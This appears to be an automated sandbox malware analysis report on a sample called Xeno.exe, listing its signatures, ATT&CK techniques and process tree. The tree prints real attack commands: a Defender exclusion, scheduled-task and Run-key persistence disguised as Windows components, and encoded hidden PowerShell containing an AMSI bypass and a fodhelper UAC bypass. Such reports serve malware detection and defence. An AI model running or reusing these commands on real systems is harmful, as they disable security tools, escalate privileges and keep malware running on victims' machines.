8888c9faa3423106072d3cfbafe8fd594c735d8b65afdd06e452152a1f3d40d8

Analysis

user interaction
yes
max time kernel
149s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/09/2026, 10:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Xeno.exe
Size 9.0MB
Sample260903-mlxwyafl21
SHA256 8888c9faa3423106072d3cfbafe8fd594c735d8b65afdd06e452152a1f3d40d8
MD5 3e87b11c60655dd94a54163ba8ab8529
SHA1 b9b24783ab2f2b579d68c408a1c4d068f909d17d
SHA512 d84d2e1b4bf643479a4fbba79565759bfd649623bc1bc738c0ae9c0bb5777d6f9a6c970c1a2d31d8c9679fdaef2d3977dfe94eab6daff90369b8e36ecbb1d8eb
SSDEEP 98304:5QrLMCq3g5aUN9OjeHZfPBP4CpEHGukHejYmEf+:kFKdYsaJPBACWg
TLSH
T188965A07ECA518E5C1BED2358A7695527B71BC480B3123D32B90F6282F77BE0ADB9354
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/files/0x00070000000244b9-39.dat	disable_win_def

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to get system information as a root user.

execution

PowerShell

T1059.001

pid	Process
5068	powershell.exe
4856	powershell.exe
1832	powershell.exe
3304	powershell.exe
2848	powershell.exe
3488	powershell.exe
4604	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3604	RuntimeBroker.exe
2788	RuntimeBroker.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsApps\\RuntimeBroker.exe\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsApps\\RuntimeBroker.exe\""	reg.exe

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3908	cmd.exe
4584	cmd.exe
4304	cmd.exe
8	cmd.exe
2340	cmd.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
1996	timeout.exe
3904	timeout.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\Shell	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\Shell\Open\command\ = "cmd.exe /c powershell -WindowStyle Hidden"	powershell.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\Shell\Open\command	powershell.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\Shell	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\Shell\Open\command	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\Shell\Open	powershell.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\Shell\Open	powershell.exe

Modifies registry key 1 TTPs 6 IoCs

Modify Registry

T1112

pid	Process
1104	reg.exe
5084	reg.exe
4584	reg.exe
1644	reg.exe
2272	reg.exe
1404	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
968	schtasks.exe
1452	schtasks.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
4856	powershell.exe
4856	powershell.exe
2848	powershell.exe
2848	powershell.exe
3488	powershell.exe
3488	powershell.exe
3488	powershell.exe
4604	powershell.exe
4604	powershell.exe
1832	powershell.exe
1832	powershell.exe
3304	powershell.exe
3304	powershell.exe
5068	powershell.exe
5068	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	3488	powershell.exe
Token: SeDebugPrivilege	4604	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeDebugPrivilege	3304	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeIncreaseQuotaPrivilege	5068	powershell.exe
Token: SeSecurityPrivilege	5068	powershell.exe
Token: SeTakeOwnershipPrivilege	5068	powershell.exe
Token: SeLoadDriverPrivilege	5068	powershell.exe
Token: SeSystemProfilePrivilege	5068	powershell.exe
Token: SeSystemtimePrivilege	5068	powershell.exe
Token: SeProfSingleProcessPrivilege	5068	powershell.exe
Token: SeIncBasePriorityPrivilege	5068	powershell.exe
Token: SeCreatePagefilePrivilege	5068	powershell.exe
Token: SeBackupPrivilege	5068	powershell.exe
Token: SeRestorePrivilege	5068	powershell.exe
Token: SeShutdownPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeSystemEnvironmentPrivilege	5068	powershell.exe
Token: SeRemoteShutdownPrivilege	5068	powershell.exe
Token: SeUndockPrivilege	5068	powershell.exe
Token: SeManageVolumePrivilege	5068	powershell.exe
Token: 33	5068	powershell.exe
Token: 34	5068	powershell.exe
Token: 35	5068	powershell.exe
Token: 36	5068	powershell.exe
Token: SeIncreaseQuotaPrivilege	5068	powershell.exe
Token: SeSecurityPrivilege	5068	powershell.exe
Token: SeTakeOwnershipPrivilege	5068	powershell.exe
Token: SeLoadDriverPrivilege	5068	powershell.exe
Token: SeSystemProfilePrivilege	5068	powershell.exe
Token: SeSystemtimePrivilege	5068	powershell.exe
Token: SeProfSingleProcessPrivilege	5068	powershell.exe
Token: SeIncBasePriorityPrivilege	5068	powershell.exe
Token: SeCreatePagefilePrivilege	5068	powershell.exe
Token: SeBackupPrivilege	5068	powershell.exe
Token: SeRestorePrivilege	5068	powershell.exe
Token: SeShutdownPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeSystemEnvironmentPrivilege	5068	powershell.exe
Token: SeRemoteShutdownPrivilege	5068	powershell.exe
Token: SeUndockPrivilege	5068	powershell.exe
Token: SeManageVolumePrivilege	5068	powershell.exe
Token: 33	5068	powershell.exe
Token: 34	5068	powershell.exe
Token: 35	5068	powershell.exe
Token: 36	5068	powershell.exe
Token: SeIncreaseQuotaPrivilege	5068	powershell.exe
Token: SeSecurityPrivilege	5068	powershell.exe
Token: SeTakeOwnershipPrivilege	5068	powershell.exe
Token: SeLoadDriverPrivilege	5068	powershell.exe
Token: SeSystemProfilePrivilege	5068	powershell.exe
Token: SeSystemtimePrivilege	5068	powershell.exe
Token: SeProfSingleProcessPrivilege	5068	powershell.exe
Token: SeIncBasePriorityPrivilege	5068	powershell.exe
Token: SeCreatePagefilePrivilege	5068	powershell.exe
Token: SeBackupPrivilege	5068	powershell.exe
Token: SeRestorePrivilege	5068	powershell.exe
Token: SeShutdownPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeSystemEnvironmentPrivilege	5068	powershell.exe
Token: SeRemoteShutdownPrivilege	5068	powershell.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 4856	2316	Xeno.exe	85
PID 2316 wrote to memory of 968	2316	Xeno.exe	87
PID 2316 wrote to memory of 5084	2316	Xeno.exe	89
PID 2316 wrote to memory of 3604	2316	Xeno.exe	91
PID 3604 wrote to memory of 1452	3604	RuntimeBroker.exe	95
PID 3604 wrote to memory of 4584	3604	RuntimeBroker.exe	96
PID 2316 wrote to memory of 3908	2316	Xeno.exe	97
PID 3908 wrote to memory of 1996	3908	cmd.exe	99
PID 3604 wrote to memory of 2848	3604	RuntimeBroker.exe	106
PID 2848 wrote to memory of 4928	2848	powershell.exe	107
PID 3604 wrote to memory of 3488	3604	RuntimeBroker.exe	120
PID 3604 wrote to memory of 4604	3604	RuntimeBroker.exe	124
PID 3604 wrote to memory of 1832	3604	RuntimeBroker.exe	126
PID 3604 wrote to memory of 860	3604	RuntimeBroker.exe	127
PID 3604 wrote to memory of 1644	3604	RuntimeBroker.exe	128
PID 3604 wrote to memory of 3304	3604	RuntimeBroker.exe	129
PID 3304 wrote to memory of 3880	3304	powershell.exe	130
PID 3604 wrote to memory of 1108	3604	RuntimeBroker.exe	131
PID 3604 wrote to memory of 3680	3604	RuntimeBroker.exe	132
PID 3604 wrote to memory of 1676	3604	RuntimeBroker.exe	133
PID 3604 wrote to memory of 4476	3604	RuntimeBroker.exe	134
PID 3604 wrote to memory of 4264	3604	RuntimeBroker.exe	135
PID 3604 wrote to memory of 3192	3604	RuntimeBroker.exe	136
PID 3604 wrote to memory of 2272	3604	RuntimeBroker.exe	137
PID 3604 wrote to memory of 1404	3604	RuntimeBroker.exe	138
PID 3604 wrote to memory of 1104	3604	RuntimeBroker.exe	139
PID 3604 wrote to memory of 4584	3604	RuntimeBroker.exe	140
PID 4584 wrote to memory of 3504	4584	cmd.exe	141
PID 3604 wrote to memory of 4304	3604	RuntimeBroker.exe	142
PID 4304 wrote to memory of 4804	4304	cmd.exe	143
PID 3604 wrote to memory of 8	3604	RuntimeBroker.exe	144
PID 8 wrote to memory of 3560	8	cmd.exe	145
PID 3604 wrote to memory of 4864	3604	RuntimeBroker.exe	146
PID 3604 wrote to memory of 1704	3604	RuntimeBroker.exe	147
PID 3604 wrote to memory of 1536	3604	RuntimeBroker.exe	148
PID 3604 wrote to memory of 2304	3604	RuntimeBroker.exe	149
PID 3604 wrote to memory of 3036	3604	RuntimeBroker.exe	150
PID 3604 wrote to memory of 5068	3604	RuntimeBroker.exe	151
PID 3604 wrote to memory of 2340	3604	RuntimeBroker.exe	152
PID 2340 wrote to memory of 3904	2340	cmd.exe	153

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Xeno.exe
"C:\Users\Admin\AppData\Local\Temp\Xeno.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\WindowsApps'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4856
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask /tr \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe\" /sc minute /mo 20 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:968
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe\" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:5084
- C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe
  C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3604
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn MicrosoftEdgeUpdateTask /tr \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe\" /sc minute /mo 20 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1452
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe\" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:4584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand WwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAYQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAEMAbABhAHMAcwBlAHMAXABtAHMALQBzAGUAdAB0AGkAbgBnAHMAXABTAGgAZQBsAGwAXABPAHAAZQBuAFwAYwBvAG0AbQBhAG4AZAAnACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAEMAbABhAHMAcwBlAHMAXABtAHMALQBzAGUAdAB0AGkAbgBnAHMAXABTAGgAZQBsAGwAXABPAHAAZQBuAFwAYwBvAG0AbQBhAG4AZAAnACAALQBOAGEAbQBlACAAJwAoAEQAZQBmAGEAdQBsAHQAKQAnACAALQBWAGEAbAB1AGUAIAAnAGMAbQBkAC4AZQB4AGUAIAAvAGMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAnACAALQBGAG8AcgBjAGUAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABmAG8AZABoAGUAbABwAGUAcgAuAGUAeABlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMgA7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABDAGwAYQBzAHMAZQBzAFwAbQBzAC0AcwBlAHQAdABpAG4AZwBzACcAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQA7ACAAJwBVAEEAQwAgAGIAeQBwAGEAcwBzACAAYQB0AHQAZQBtAHAAdABlAGQAJwA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\system32\fodhelper.exe
      "C:\Windows\system32\fodhelper.exe"
      4⤵
      PID:4928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand WwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAYQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAuACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAF8AeABlAG4AbwBfAHAAcwAuAHAAcwAxACcAIAAtAGMAbQBkACAAJwBlAHMAYwBhAGwAYQB0AGUAIAAnAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand WwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAYQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAuACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAF8AeABlAG4AbwBfAHAAcwAuAHAAcwAxACcAIAAtAGMAbQBkACAAJwB3AG0AaQBfAHIAZQBtAG8AdgBlACAAJwA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand WwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAYQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAuACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAF8AeABlAG4AbwBfAHAAcwAuAHAAcwAxACcAIAAtAGMAbQBkACAAJwBkAGkAcwBhAGIAbABlAF8AYQB2ACAAJwA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1832
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn MicrosoftEdgeUpdateTask
    3⤵
    PID:860
- - C:\Windows\system32\reg.exe
    reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker
    3⤵
    - Modifies registry key
    PID:1644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand WwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAYQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAuACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAF8AeABlAG4AbwBfAHAAcwAuAHAAcwAxACcAIAAtAGMAbQBkACAAJwB1AG4AaQBuAHMAdABhAGwAbAAgACcA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3304
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /delete /tn RuntimeBrokerUpdate /f
      4⤵
      PID:3880
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn MicrosoftEdgeUpdateTask /f
    3⤵
    PID:1108
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn XenoRuntimeService /f
    3⤵
    PID:3680
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn RuntimeBrokerUpdate /f
    3⤵
    PID:1676
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn XenoDefenseUpdate /f
    3⤵
    PID:4476
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn XenoEdgeCoreUpdate /f
    3⤵
    PID:4264
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn WindowsSecurityUpdate /f
    3⤵
    PID:3192
- - C:\Windows\system32\reg.exe
    reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /f
    3⤵
    - Modifies registry key
    PID:2272
- - C:\Windows\system32\reg.exe
    reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v XenoRuntime /f
    3⤵
    - Modifies registry key
    PID:1404
- - C:\Windows\system32\reg.exe
    reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v XenoDefenseUpdate /f
    3⤵
    - Modifies registry key
    PID:1104
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"XenoRuntime\" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4584
  - - C:\Windows\system32\reg.exe
      reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"XenoRuntime\" /f
      4⤵
      PID:3504
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"RuntimeBroker\" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4304
  - - C:\Windows\system32\reg.exe
      reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"RuntimeBroker\" /f
      4⤵
      PID:4804
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"XenoDefenseUpdate\" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:8
  - - C:\Windows\system32\reg.exe
      reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"XenoDefenseUpdate\" /f
      4⤵
      PID:3560
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn XenoRuntimeService /f
    3⤵
    PID:4864
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn RuntimeBrokerUpdate /f
    3⤵
    PID:1704
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn XenoDefenseUpdate /f
    3⤵
    PID:1536
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn XenoEdgeCoreUpdate /f
    3⤵
    PID:2304
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn WindowsSecurityUpdate /f
    3⤵
    PID:3036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "Get-CimInstance -Namespace root/subscription -ClassName __EventFilter -Filter \"Name='RuntimeBrokerFilter'\"|Remove-CimInstance -EA 0; Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Filter \"Name='RuntimeBrokerConsumer'\"|Remove-CimInstance -EA 0; Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding|Remove-CimInstance -EA 0"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5068
- - C:\Windows\system32\cmd.exe
    cmd.exe /c C:\Users\Admin\AppData\Local\Temp\_selfdelete.bat
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2340
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3904
- C:\Windows\system32\cmd.exe
  cmd.exe /c C:\Users\Admin\AppData\Local\Temp\_sd.bat
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1996

C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe"
1⤵
- Executes dropped EXE
PID:2788

C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
1⤵
PID:3440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

